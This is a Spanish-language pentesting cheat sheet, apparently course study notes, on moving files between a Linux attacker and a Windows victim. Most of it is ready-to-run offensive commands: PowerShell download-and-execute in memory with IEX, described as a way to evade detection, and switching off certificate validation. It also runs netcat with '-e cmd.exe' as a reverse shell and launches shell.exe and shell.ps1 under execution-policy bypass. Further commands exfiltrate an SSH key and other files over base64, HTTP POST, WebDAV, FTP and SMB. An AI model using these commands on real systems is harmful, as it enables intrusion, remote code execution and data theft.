Skip to content

Windows File Transfer Methods


Download Operations

Base64 Encode / Decode

Util cuando no hay conectividad directa pero si capacidad de copiar y pegar texto, como a traves de una web shell o una ejecucion de comandos con salida visible. Se codifica el archivo en el origen, se transporta el texto, y se decodifica en el destino.

En el atacante (Linux) — verificar hash antes de codificar:

bash
$ md5sum id_rsa

4e301756a07ded0a2dd6953abf015278  id_rsa

Codificar el archivo en base64:

bash
$ cat id_rsa | base64 -w 0; echo

El flag -w 0 evita que base64 inserte saltos de linea cada 76 caracteres, produciendo una cadena continua que se puede copiar sin problema.

En la victima (Windows) — decodificar y escribir el archivo:

powershell
PS> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0..."))

Verificar integridad con hash MD5:

powershell
PS> Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

Algorithm       Hash                                     Path
---------       ----                                     ----
MD5             4E301756A07DED0A2DD6953ABF015278         C:\Users\Public\id_rsa

PowerShell Web Downloads

PowerShell expone la clase Net.WebClient con varios metodos de descarga. Los mas relevantes son:

DownloadFile — descarga y escribe el archivo en disco. DownloadString — descarga el contenido como cadena de texto, util para ejecutar scripts en memoria con IEX. DownloadData — descarga los bytes sin escribir a disco. DownloadFileAsync y DownloadStringAsync — versiones no bloqueantes de los anteriores.

Descargar un archivo a disco:

powershell
PS> (New-Object Net.WebClient).DownloadFile('https://IP/file.ps1', 'C:\Users\Public\Downloads\file.ps1')

PS> (New-Object Net.WebClient).DownloadFileAsync('https://IP/file.ps1', 'C:\Users\Public\Downloads\file.ps1')

Descargar y ejecutar en memoria — sin escribir en disco:

Util para evadir deteccion por escritura de binarios en disco. El script se descarga como cadena y se pasa directamente a Invoke-Expression.

powershell
PS> IEX (New-Object Net.WebClient).DownloadString('https://IP/script.ps1')

PS> (New-Object Net.WebClient).DownloadString('https://IP/script.ps1') | IEX

Invoke-WebRequest:

powershell
PS> Invoke-WebRequest https://IP/file.ps1 -OutFile file.ps1

Errores frecuentes:

El primero ocurre en sistemas sin interfaz grafica porque Invoke-WebRequest intenta usar el motor de Internet Explorer para parsear la respuesta. Se resuelve con -UseBasicParsing:

powershell
PS> Invoke-WebRequest https://IP/file.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available,
or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.

PS> Invoke-WebRequest https://IP/file.ps1 -UseBasicParsing | IEX

El segundo ocurre cuando el certificado SSL del servidor no es de confianza, por ejemplo con certificados auto-firmados. Se resuelve desactivando la validacion del certificado para la sesion actual:

powershell
PS> IEX(New-Object Net.WebClient).DownloadString('https://IP/script.ps1')

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish
trust relationship for the SSL/TLS secure channel."

PS> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
PS> IEX(New-Object Net.WebClient).DownloadString('https://IP/script.ps1')

SMB Downloads

SMB permite montar recursos compartidos de red y copiar archivos desde ellos como si fueran directorios locales. El atacante levanta un servidor SMB en Linux con impacket-smbserver y la victima copia desde la ruta UNC correspondiente.

En el atacante (Linux) — iniciar el servidor SMB:

bash
$ sudo impacket-smbserver share -smb2support /tmp/smbshare

El argumento share es el nombre del recurso compartido. -smb2support habilita SMB2, necesario para compatibilidad con versiones modernas de Windows.

En la victima (Windows) — copiar el archivo:

cmd
> copy \\192.168.220.133\share\nc.exe
        1 file(s) copied.

Por que falla en Windows 10 / 11 sin credenciales:

Las versiones modernas de Windows bloquean el acceso anonimo a recursos compartidos por politica de seguridad. El error es:

You can't access this shared folder because your organization's security policies block
unauthenticated guest access. These policies help protect your PC from unsafe or malicious
devices on the network.

La solucion es levantar el servidor con usuario y contrasena:

En el atacante (Linux) — servidor SMB con credenciales:

bash
$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

En la victima (Windows) — montar la unidad con credenciales y copiar:

cmd
> net use n: \\192.168.220.133\share /user:test test

The command completed successfully.

> copy n:\nc.exe
        1 file(s) copied.

Ejecutar directamente desde la ruta UNC sin copiar al disco:

Si no se necesita persistencia del archivo, se puede ejecutar el binario directamente desde la ruta UNC. El archivo nunca aterriza en el disco de la victima.

cmd
> \\192.168.220.133\share\nc.exe IP 4444 -e cmd.exe
powershell
PS> \\192.168.220.133\share\shell.exe
PS> powershell -ep bypass -f \\192.168.220.133\share\shell.ps1

FTP Downloads

pyftpdlib permite levantar un servidor FTP desde Python sin instalar nada mas. Por defecto permite acceso anonimo.

En el atacante (Linux) — instalar y levantar el servidor:

bash
$ sudo pip3 install pyftpdlib
$ sudo python3 -m pyftpdlib --port 21

En la victima (Windows) — descargar via PowerShell:

powershell
PS> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Alternativa — script de comandos FTP:

Util cuando no hay PowerShell disponible o cuando se trabaja desde una shell cmd. Se crea un archivo de texto con los comandos FTP y se pasa como script al cliente ftp.exe.

cmd
> echo open 192.168.49.128 > ftpcommand.txt
> echo USER anonymous >> ftpcommand.txt
> echo binary >> ftpcommand.txt
> echo GET file.txt >> ftpcommand.txt
> echo bye >> ftpcommand.txt
> ftp -v -n -s:ftpcommand.txt

El flag -n suprime el login automatico (necesario cuando se usa -s). -v muestra la respuesta del servidor para depurar. -s:ftpcommand.txt indica el archivo de script a ejecutar.


Upload Operations

Base64 Encode / Decode

El proceso inverso: codificar en la victima (Windows) y decodificar en el atacante (Linux). Util para exfiltrar archivos cuando no hay conectividad de subida directa pero si de texto.

En la victima (Windows) — codificar el archivo:

powershell
PS> [Convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBp...

Verificar hash antes de transferir:

powershell
PS> Get-FileHash "C:\Windows\System32\drivers\etc\hosts" -Algorithm MD5 | select Hash

Hash
----
3688374325B992DEF12793500307566D

En el atacante (Linux) — decodificar:

bash
$ echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBp... | base64 -d > hosts

Verificar integridad:

bash
$ md5sum hosts

3688374325b992def12793500307566d  hosts

PowerShell Web Uploads

Para recibir archivos en el atacante se puede usar uploadserver, un modulo Python que extiende el servidor HTTP con soporte para subidas via POST.

En el atacante (Linux) — instalar y levantar el servidor:

bash
$ pip3 install uploadserver
$ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En la victima (Windows) — subir usando PSUpload.ps1:

PSUpload.ps1 es un script de Nishang/plaintext que encapsula la logica de subida multipart. Se descarga en memoria y se ejecuta directamente.

powershell
PS> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373

Alternativa — subida via Base64 sobre HTTP POST:

Si no se quiere usar un script externo, se puede codificar el archivo en base64 y enviarlo como cuerpo de una peticion POST. El atacante recibe el cuerpo con netcat.

En la victima:

powershell
PS> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

En el atacante, recibir con netcat:

bash
$ nc -lvnp 8000

La peticion llegara con el cuerpo base64. Extraer y decodificar:

bash
$ echo <base64_recibido> | base64 -d > hosts

SMB Uploads via WebDAV

El protocolo WebDAV es una extension de HTTP que permite operaciones de escritura sobre recursos web. Windows lo soporta de forma nativa y lo trata como un recurso SMB, lo que permite usar copy o el Explorador de archivos para subir ficheros.

Esto es especialmente util cuando el puerto 445 (SMB) esta bloqueado por el firewall pero el 80 o el 443 estan abiertos, ya que WebDAV funciona sobre HTTP.

En el atacante (Linux) — instalar dependencias y levantar el servidor WebDAV:

bash
$ sudo pip3 install wsgidav cheroot
$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Running without configuration file.
WsgiDAV/4.0.1 Python/3.9.2
Serving on http://0.0.0.0:80 ...

En la victima (Windows) — verificar acceso al share:

Windows reconoce la ruta DavWWWRoot como punto de entrada especial para WebDAV. No es un directorio real en el servidor; es la forma en que el redirector WebDAV de Windows mapea la raiz del recurso.

cmd
> dir \\192.168.49.128\DavWWWRoot

 Directory of \\192.168.49.128\DavWWWRoot

05/18/2022  10:05 AM    <DIR>          .
05/18/2022  10:05 AM    <DIR>          ..
05/18/2022  10:05 AM    <DIR>          sharefolder
05/18/2022  10:05 AM                13 filetest.txt
               1 File(s)             13 bytes
               3 Dir(s)  43,443,318,784 bytes free

Subir un archivo:

cmd
> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\
> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\sharefolder\

FTP Uploads

El mismo servidor pyftpdlib soporta subidas anadiendo el flag --write, que habilita el permiso de escritura para el usuario anonimo.

En el atacante (Linux):

bash
$ sudo python3 -m pyftpdlib --port 21 --write

En la victima (Windows) — subir via PowerShell:

powershell
PS> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/hosts', 'C:\Windows\System32\drivers\etc\hosts')

Alternativa — script de comandos FTP:

cmd
> echo open 192.168.49.128 > ftpcommand.txt
> echo USER anonymous >> ftpcommand.txt
> echo binary >> ftpcommand.txt
> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
> echo bye >> ftpcommand.txt
> ftp -v -n -s:ftpcommand.txt

El comando binary es importante antes de PUT o GET cuando se transfieren archivos no textuales. Sin el, el cliente FTP opera en modo ASCII y corrompe los binarios al convertir saltos de linea.